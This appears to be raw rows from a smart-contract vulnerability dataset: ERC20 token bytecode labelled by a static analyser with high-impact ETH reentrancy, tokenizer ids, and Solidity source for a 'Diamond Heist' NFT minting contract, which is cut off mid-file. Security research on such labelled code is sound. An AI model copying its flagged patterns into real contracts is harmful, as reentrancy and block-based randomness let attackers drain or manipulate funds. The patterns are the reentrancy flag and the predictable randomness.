602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610fde565b610b0e565b5060019392505050565b6000546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c6906119af565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b0316331461051a5760405162461bcd60e51b81526004016104c6906119af565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461055857600080fd5b4761056281611018565b50565b6001600160a01b03811660009081526002602052604081205461042d9061109d565b6000546001600160a01b031633146105b15760405162461bcd60e51b81526004016104c6906119af565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610429338484610c32565b6000546001600160a01b031633146106325760405162461bcd60e51b81526004016104c6906119af565b60005b81518110156106a85760016007600084848151811061066457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a081611ac2565b915050610635565b5050565b6000546001600160a01b031633146106d65760405162461bcd60e51b81526004016104c6906119af565b601155565b600d546001600160a01b0316336001600160a01b0316146106fb57600080fd5b600061070630610565565b905061056281611121565b6000546001600160a01b0316331461073b5760405162461bcd60e51b81526004016104c6906119af565b601054600160a01b900460ff16156107955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c6565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d23082683635c9adc5dea00000610b0e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611759565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088b57600080fd5b505afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611759565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090b57600080fd5b505af115801561091f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109439190611759565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097381610565565b6000806109886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109eb57600080fd5b505af11580156109ff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a24919061192f565b5050601080546801158e460913d0000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a9d57600080fd5b505af1158015610ab1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a891906118fb565b6000546001600160a01b03163314610aff5760405162461bcd60e51b81526004016104c6906119af565b683635c9adc5dea00000601155565b6001600160a01b038316610b705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610bd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b038216610cf85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b60008111610d5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b6010546001600160a01b03848116911614610ddf576001600160a01b03831660009081526004602052604090205415801590610dbc57506001600160a01b0383166000908152600460205260409020544290610db99062015180611a54565b10155b15610dd0576001600b556019600c55610e23565b6001600b556008600c55610e23565b6001600160a01b038216600090815260046020526040902054610e18576001600160a01b03821660009081526004602052604090204290555b6001600b556008600c555b6000546001600160a01b03848116911614801590610e4f57506000546001600160a01b03838116911614155b15610fce576001600160a01b03831660009081526007602052604090205460ff16158015610e9657506001600160a01b03821660009081526007602052604090205460ff16155b610e9f57600080fd5b6010546001600160a01b038481169116148015610eca5750600f546001600160a01b03838116911614155b8015610eef57506001600160a01b03821660009081526006602052604090205460ff16155b8015610f045750601054600160b81b900460ff165b15610f6157601154811115610f1857600080fd5b6001600160a01b0382166000908152600860205260409020544211610f3c57600080fd5b610f4742601e611a54565b6001600160a01b0383166000908152600860205260409020555b6000610f6c30610565565b601054909150600160a81b900460ff16158015610f9757506010546001600160a01b03858116911614155b8015610fac5750601054600160b01b900460ff165b15610fcc57610fba81611121565b478015610fca57610fca47611018565b505b505b610fd98383836112c6565b505050565b600081848411156110025760405162461bcd60e51b81526004016104c6919061195c565b50600061100f8486611aab565b95945050505050565b600d546001600160a01b03166108fc6110328360026112d1565b6040518115909202916000818181858888f1935050505015801561105a573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6110758360026112d1565b6040518115909202916000818181858888f193505050501580156106a8573d6000803e3d6000fd5b60006009548211156111045760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c6565b600061110e611313565b905061111a83826112d1565b9392505050565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111cb57600080fd5b505afa1580156111df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112039190611759565b8160018151811061122457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461124a9130911684610b0e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112839085906000908690309042906004016119e4565b600060405180830381600087803b15801561129d57600080fd5b505af11580156112b1573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610fd9838383611336565b600061111a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142d565b600080600061132061145b565b909250905061132f82826112d1565b9250505090565b6000806000806000806113488761149d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061137a90876114fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113a9908661153c565b6001600160a01b0389166000908152600260205260409020556113cb8161159b565b6113d584836115e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161141a91815260200190565b60405180910390a3505050505050505050565b6000818361144e5760405162461bcd60e51b81526004016104c6919061195c565b50600061100f8486611a6c565b6009546000908190683635c9adc5dea0000061147782826112d1565b82101561149457505060095492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114ba8a600b54600c54611609565b92509250925060006114ca611313565b905060008060006114dd8e87878761165e565b919e509c509a509598509396509194505050505091939550919395565b600061111a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fde565b6000806115498385611a54565b90508381101561111a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b60006115a5611313565b905060006115b383836116ae565b306000908152600260205260409020549091506115d0908261153c565b30600090815260026020526040902055505050565b6009546115f290836114fa565b600955600a54611602908261153c565b600a555050565b6000808080611623606461161d89896116ae565b906112d1565b90506000611636606461161d8a896116ae565b9050600061164e826116488b866114fa565b906114fa565b9992985090965090945050505050565b600080808061166d88866116ae565b9050600061167b88876116ae565b9050600061168988886116ae565b9050600061169b8261164886866114fa565b939b939a50919850919650505050505050565b6000826116bd5750600061042d565b60006116c98385611a8c565b9050826116d68583611a6c565b1461111a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b803561173881611b09565b919050565b60006020828403121561174e578081fd5b813561111a81611b09565b60006020828403121561176a578081fd5b815161111a81611b09565b60008060408385031215611787578081fd5b823561179281611b09565b915060208301356117a281611b09565b809150509250929050565b6000806000606084860312156117c1578081fd5b83356117cc81611b09565b925060208401356117dc81611b09565b929592945050506040919091013590565b600080604083850312156117ff578182fd5b823561180a81611b09565b946020939093013593505050565b6000602080838503121561182a578182fd5b823567ffffffffffffffff80821115611841578384fd5b818501915085601f830112611854578384fd5b81358181111561186657611866611af3565b8060051b604051601f19603f8301168101818110858211171561188b5761188b611af3565b604052828152858101935084860182860187018a10156118a9578788fd5b8795505b838610156118d2576118be8161172d565b8552600195909501949386019386016118ad565b5098975050505050505050565b6000602082840312156118f0578081fd5b813561111a81611b1e565b60006020828403121561190c578081fd5b815161111a81611b1e565b600060208284031215611928578081fd5b5035919050565b600080600060608486031215611943578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119885785810183015185820160400152820161196c565b818111156119995783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a335784516001600160a01b031683529383019391830191600101611a0e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6757611a67611add565b500190565b600082611a8757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611aa657611aa6611add565b500290565b600082821015611abd57611abd611add565b500390565b6000600019821415611ad657611ad6611add565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461056257600080fd5b801515811461056257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ca4125a528f6eb5c84e516f16eaa9de5d38bb087dffedd84a547e79b2cec0bff64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 12740, 10322, 2575, 20952, 4783, 24096, 2620, 2546, 2683, 19961, 22394, 2575, 2620, 2620, 21486, 22203, 2683, 2546, 21472, 2683, 29292, 2487, 2063, 2581, 2278, 2581, 2487, 1013, 1008, 1008, 1008, 1008, 23921, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 4854, 5054, 8844, 6673, 2368, 1008, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,734
0x9741add1e66fd4a091a7f58dc2f8268136a417f9
// SPDX-License-Identifier: MIT LICENSE /** . ' , ' , . ' . _________ _________ _________ _ /_|_____|_\ _ _ /_|_____|_\ _ _ /_|_____|_\ _ '. \ / .' '. \ / .' '. \ / .' '.\ /.' '.\ /.' '.\ /.' '.' '.' '.' ██████╗ ██╗ █████╗ ███╗ ███╗ ██████╗ ███╗ ██╗██████╗ ██╔══██╗██║██╔══██╗████╗ ████║██╔═══██╗████╗ ██║██╔══██╗ ██║ ██║██║███████║██╔████╔██║██║ ██║██╔██╗ ██║██║ ██║ ██║ ██║██║██╔══██║██║╚██╔╝██║██║ ██║██║╚██╗██║██║ ██║ ██████╔╝██║██║ ██║██║ ╚═╝ ██║╚██████╔╝██║ ╚████║██████╔╝ ╚═════╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ██╗ ██╗███████╗██╗███████╗████████╗ ██║ ██║██╔════╝██║██╔════╝╚══██╔══╝ <'l __ ███████║█████╗ ██║███████╗ ██║ ll (___()'`; ██╔══██║██╔══╝ ██║╚════██║ ██║ llama~ /, /` ██║ ██║███████╗██║███████║ ██║ || || \\"--\\ ╚═╝ ╚═╝╚══════╝╚═╝╚══════╝ ╚═╝ '' '' */ pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./interfaces/ERC721AUpgradeable.sol"; import "./interfaces/IDiamondHeist.sol"; import "./interfaces/IDIAMOND.sol"; import "./interfaces/IStaking.sol"; import "./interfaces/ITraits.sol"; contract DiamondHeistV2 is ERC721AUpgradeable, IDiamondHeist, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable { event LlamaMinted(uint256 indexed tokenId); event DogMinted(uint256 indexed tokenId); event LlamaBurned(uint256 indexed tokenId); event DogBurned(uint256 indexed tokenId); // max number of tokens that can be minted - 37,500 in production uint256 public constant MAX_TOKENS = 37500; // number of tokens that can be claimed for a fee - 20% of MAX_TOKENS uint256 public PAID_TOKENS; uint256 public MINT_PRICE; // whitelist, 10 mints, get a discount, 1 free uint16 public constant MAX_COMMUNITY_AMOUNT = 5; uint256 public COMMUNITY_SALE_MINT_PRICE; bytes32 public whitelistMerkleRoot; mapping(address => uint256) public claimed; // mapping from tokenId to a struct containing the token's traits mapping(uint256 => LlamaDog) public tokenTraits; // mapping from hashed(tokenTrait) to the tokenId it's associated with // used to ensure there are no duplicates mapping(uint256 => uint256) public existingCombinations; // list of probabilities for each trait type uint8[][14] public rarities; // list of aliases for Walker's Alias algorithm uint8[][14] public aliases; // reference to the Staking for choosing random Dog thieves IStaking public staking; // reference to $DIAMOND for burning on mint IDIAMOND public diamond; // reference to Traits ITraits public traits; /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} function initialize() initializer public { __ERC721A_init("Diamond Heist", "DIAMONDHEIST"); __Pausable_init(); __Ownable_init(); __ReentrancyGuard_init(); _pause(); PAID_TOKENS = 7500; MINT_PRICE = .06 ether; COMMUNITY_SALE_MINT_PRICE = .04 ether; // Llama/Body rarities[0] = [255, 61, 122, 30, 183, 224, 142, 30, 214, 173, 214, 122]; aliases[0] = [0, 0, 0, 7, 7, 0, 5, 6, 7, 8, 8, 9]; // Llama/Hat rarities[1] = [114, 254, 191, 152, 242, 152, 191, 229, 242, 114, 254, 76, 76, 203, 191]; aliases[1] = [6, 0, 6, 6, 1, 6, 4, 6, 6, 6, 8, 6, 8, 10, 13]; // Llama/Eye rarities[2] = [165, 66, 198, 255, 165, 211, 168, 165, 107, 99, 186, 175, 165]; aliases[2] = [6, 6, 6, 0, 6, 3, 5, 6, 6, 8, 8, 10, 11]; // Llama/Mouth rarities[3] = [140, 224, 28, 112, 112, 112, 254, 229, 160, 221, 140]; aliases[3] = [7, 7, 7, 7, 7, 8, 0, 6, 7, 8, 9]; // Llama/Clothes rarities[4] = [229, 254, 191, 216, 127, 152, 152, 165, 76, 114, 254, 152, 203, 76, 191]; aliases[4] = [1, 0, 1, 2, 3, 2, 2, 4, 2, 4, 7, 4, 10, 7, 12]; // Llama/Tail rarities[5] = [127, 255, 127, 127, 229, 102, 255, 255, 178, 51]; aliases[5] = [7, 0, 7, 7, 7, 7, 0, 0, 7, 8]; // Llama/alphaIndex rarities[6] = [255]; aliases[6] = [0]; // Dog/Body rarities[7] = [140, 254, 28, 224, 56, 181, 244, 84, 219, 28, 193]; aliases[7] = [1, 0, 1, 1, 5, 1, 5, 5, 6, 10, 8]; // Dog/Hat rarities[8] = [99, 165, 255, 178, 33, 232, 102, 33, 198, 232, 209, 198, 132]; aliases[8] = [6, 6, 0, 2, 6, 6, 3, 6, 6, 6, 6, 6, 10]; // Dog/Eye rarities[9] = [254, 30, 224, 153, 203, 30, 153, 214, 91, 91, 214, 153]; aliases[9] = [0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 4]; // Dog/Mouth rarities[10] = [254, 122, 61, 30, 61, 122, 142, 91, 91, 183, 244, 244]; aliases[10] = [0, 0, 0, 0, 8, 8, 0, 9, 6, 8, 9, 9]; // Dog/Clothes rarities[11] = [254, 107, 107, 35, 152, 198, 35, 107, 117, 132, 107, 107, 107, 107]; aliases[11] = [0, 4, 5, 5, 0, 4, 5, 5, 5, 8, 8, 8, 9, 9]; // Dog/Tail rarities[12] = [140, 254, 84, 84, 84, 203, 140, 196, 196, 140, 140]; aliases[12] = [1, 0, 5, 5, 5, 1, 5, 5, 5, 5, 5]; // Dog/alphaIndex rarities[13] = [20, 153, 255, 204]; aliases[13] = [3, 3, 0, 2]; } modifier requireContractsSet() { require( address(traits) != address(0) && address(staking) != address(0), "Contracts not set" ); _; } function setContracts(ITraits _traits, IStaking _staking, IDIAMOND _diamond) external onlyOwner { traits = _traits; staking = _staking; diamond = _diamond; } function setWhiteListMerkleRoot(bytes32 _root) external onlyOwner { whitelistMerkleRoot = _root; } modifier isValidMerkleProof(bytes32[] memory proof) { require( MerkleProof.verify( proof, whitelistMerkleRoot, bytes32(uint256(uint160(_msgSender()))) ), "INVALID_MERKLE_PROOF" ); _; } /** EXTERNAL */ /** * Returns the total amount of tokens minted in the contract. */ function minted() external view returns (uint256) { return _totalMinted(); } function communitySaleLeft(bytes32[] memory merkleProof) external view isValidMerkleProof(merkleProof) returns (uint256) { if (_totalMinted() >= PAID_TOKENS) return 0; return MAX_COMMUNITY_AMOUNT - claimed[_msgSender()]; } /** * mint a token - 90% Llama, 10% Dog * The first 20% are free to claim, the remaining cost $DIAMOND */ function mintGame(uint256 amount, bool stake) internal whenNotPaused nonReentrant returns (uint16[] memory tokenIds) { require(tx.origin == _msgSender(), "ONLY_EOA"); require(_totalMinted() + amount <= MAX_TOKENS, "MINT_ENDED"); require(amount > 0 && amount <= 15, "MINT_AMOUNT_INVALID"); uint256 totalDiamondCost = 0; tokenIds = new uint16[](amount); uint16 token = uint16(_totalMinted()); for (uint256 i = 0; i < amount; i++) { token++; generate(token, random(token)); tokenIds[i] = token; totalDiamondCost += mintCost(token); } if (totalDiamondCost > 0) diamond.burn(_msgSender(), totalDiamondCost); _mint(stake ? address(staking) : _msgSender(), amount, "", false); if (stake) staking.addManyToStaking(_msgSender(), tokenIds); return tokenIds; } /** * mint a token - 90% Llama, 10% Dog * The first 20% are free to claim, the remaining cost $DIAMOND */ function mint(uint256 amount, bool stake) external payable { if (_totalMinted() < PAID_TOKENS) { // we have to still pay in ETH, we can make a transaction that pays both in ETH and DIAMOND // check how many tokens should be paid in ETH, the DIAMOND will be burned in mintGame function require(msg.value == (amount > (PAID_TOKENS - _totalMinted()) ? (PAID_TOKENS - _totalMinted()) : amount) * MINT_PRICE, "MINT_PAID_PRICE_INVALID"); } else { require(msg.value == 0, "MINT_PAID_IN_DIAMONDS"); } mintGame(amount, stake); } function mintCommunitySale( bytes32[] memory merkleProof, uint256 amount, bool stake ) external payable isValidMerkleProof(merkleProof) { require( claimed[_msgSender()] + amount <= MAX_COMMUNITY_AMOUNT, "MINT_COMMUNITY_ENDED" ); require(_totalMinted() + amount <= PAID_TOKENS, "MINT_ENDED"); require(msg.value == COMMUNITY_SALE_MINT_PRICE * (claimed[_msgSender()] == 0 ? amount - 1 : amount), "MINT_COMMUNITY_PRICE_INVALID"); claimed[_msgSender()] += amount; mintGame(amount, stake); } /** * 0 - 20% = eth * 20 - 40% = 200 DIAMONDS * 40 - 60% = 300 DIAMONDS * 60 - 80% = 400 DIAMONDS * 80 - 100% = 500 DIAMONDS * @param tokenId the ID to check the cost of to mint * @return the cost of the given token ID */ function mintCost(uint256 tokenId) public view returns (uint256) { if (tokenId <= PAID_TOKENS) return 0; // 1 / 5 = PAID_TOKENS if (tokenId <= (MAX_TOKENS * 2) / 5) return 200 ether; if (tokenId <= (MAX_TOKENS * 3) / 5) return 300 ether; if (tokenId <= (MAX_TOKENS * 4) / 5) return 400 ether; return 500 ether; } function isApprovedForAll(address owner, address operator) public view override(ERC721AUpgradeable, IERC721Upgradeable) returns (bool) { return (address(staking) == operator || ERC721AUpgradeable.isApprovedForAll(owner, operator)); } /** INTERNAL */ /** * generates traits for a specific token, checking to make sure it's unique * @param tokenId the id of the token to generate traits for * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate(uint256 tokenId, uint256 seed) internal returns (LlamaDog memory t) { t = selectTraits(tokenId, seed); if (existingCombinations[structToHash(t)] == 0) { tokenTraits[tokenId] = t; existingCombinations[structToHash(t)] = tokenId; if (t.isLlama) { emit LlamaMinted(tokenId); } else { emit DogMinted(tokenId); } return t; } return generate(tokenId, random(seed)); } /** * uses A.J. Walker's Alias algorithm for O(1) rarity table lookup * ensuring O(1) instead of O(n) reduces mint cost by more than 50% * probability & alias tables are generated off-chain beforehand * @param seed portion of the 256 bit seed to remove trait correlation * @param traitType the trait type to select a trait for * @return the ID of the randomly selected trait */ function selectTrait(uint16 seed, uint8 traitType) internal view returns (uint8) { uint8 trait = uint8(seed) % uint8(rarities[traitType].length); // If a selected random trait probability is selected (biased coin) return that trait if (seed >> 8 <= rarities[traitType][trait]) return trait; return aliases[traitType][trait]; } /** * selects the species and all of its traits based on the seed value * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of randomly selected traits */ function selectTraits(uint256, uint256 seed) internal view returns (LlamaDog memory t) { t.isLlama = (seed & 0xFFFF) % 10 != 0; uint8 shift = t.isLlama ? 0 : 7; // what happens here is that we check the 16 least signficial bits of the seed // and then remove them from the seed, so that the next 16 bits are used for the next trait // Before: EBD302F8B72AB0883F98D59C3BB7C25C61E30A77AB5F93924D234A620A32 // After: EBD302F8B72AB0883F98D59C3BB7C25C61E30A77AB5F93924D234A62 // trait 1: 0A32 -> 00001010 00110010 seed >>= 16; t.body = selectTrait(uint16(seed & 0xFFFF), 0 + shift); seed >>= 16; t.hat = selectTrait(uint16(seed & 0xFFFF), 1 + shift); seed >>= 16; t.eye = selectTrait(uint16(seed & 0xFFFF), 2 + shift); seed >>= 16; t.mouth = selectTrait(uint16(seed & 0xFFFF), 3 + shift); seed >>= 16; t.clothes = selectTrait(uint16(seed & 0xFFFF), 4 + shift); seed >>= 16; t.tail = selectTrait(uint16(seed & 0xFFFF), 5 + shift); seed >>= 16; t.alphaIndex = selectTrait(uint16(seed & 0xFFFF), 6 + shift); } /** * converts a struct to a 256 bit hash to check for uniqueness * @param s the struct to pack into a hash * @return the 256 bit hash of the struct */ function structToHash(LlamaDog memory s) internal pure returns (uint256) { return uint256( bytes32( abi.encodePacked( s.isLlama, s.body, s.hat, s.eye, s.mouth, s.clothes, s.tail, s.alphaIndex ) ) ); } /** * generates a pseudorandom number * @param seed a value ensure different outcomes for different sources in the same block * @return a pseudorandom value */ function random(uint256 seed) internal view returns (uint256) { return uint256( keccak256( abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, seed ) ) ); } /** READ */ function getTokenTraits(uint256 tokenId) external view override returns (LlamaDog memory) { require( _exists(tokenId), "ERC721Metadata: token traits query for nonexistent token" ); return tokenTraits[tokenId]; } function getPaidTokens() external view override returns (uint256) { return PAID_TOKENS; } /** * checks if a token is a Wizards * @param tokenId the ID of the token to check * @return wizard - whether or not a token is a Wizards */ function isLlama(uint256 tokenId) external view override returns (bool) { IDiamondHeist.LlamaDog memory s = tokenTraits[tokenId]; return s.isLlama; } /** ADMIN */ /** * allows owner to withdraw funds from minting */ function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } /** * updates the number of tokens for sale */ function setPaidTokens(uint256 _paidTokens) external onlyOwner { PAID_TOKENS = _paidTokens; } /** * updates the mint price */ function setMintPrice(uint256 _mintPrice) external onlyOwner { MINT_PRICE = _mintPrice; COMMUNITY_SALE_MINT_PRICE = _mintPrice / 4 * 3; } /** * enables owner to pause / unpause minting */ function setPaused(bool _paused) external requireContractsSet onlyOwner { if (_paused) _pause(); else _unpause(); } /** RENDER */ function tokenURI(uint256 tokenId) public view override(ERC721AUpgradeable, IERC721MetadataUpgradeable) returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); return traits.tokenURI(tokenId); } function updateRarity(uint8 traitType, uint8[] memory _rarities, uint8[] memory _aliases) external onlyOwner { rarities[traitType] = _rarities; aliases[traitType] = _aliases; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { 